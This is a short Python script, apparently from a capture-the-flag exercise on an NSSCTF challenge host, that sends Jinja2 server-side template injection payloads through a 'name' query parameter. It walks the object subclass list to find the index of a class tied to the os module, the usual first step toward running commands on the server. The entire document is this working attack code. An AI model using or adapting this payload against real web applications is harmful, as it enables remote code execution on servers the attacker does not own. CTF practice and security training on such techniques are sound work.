ssti脚本

import requests

for i in range(500):    

    url = "http://node5.anna.nssctf.cn:25709/?name={{%22%22.__class__.__base__.__subclasses__()[" + str(i) + "]}}"                                                             

    response = requests.get(url)

   

    if response.status_code == 200:

        if 'os.py' in response.text:

            print(i)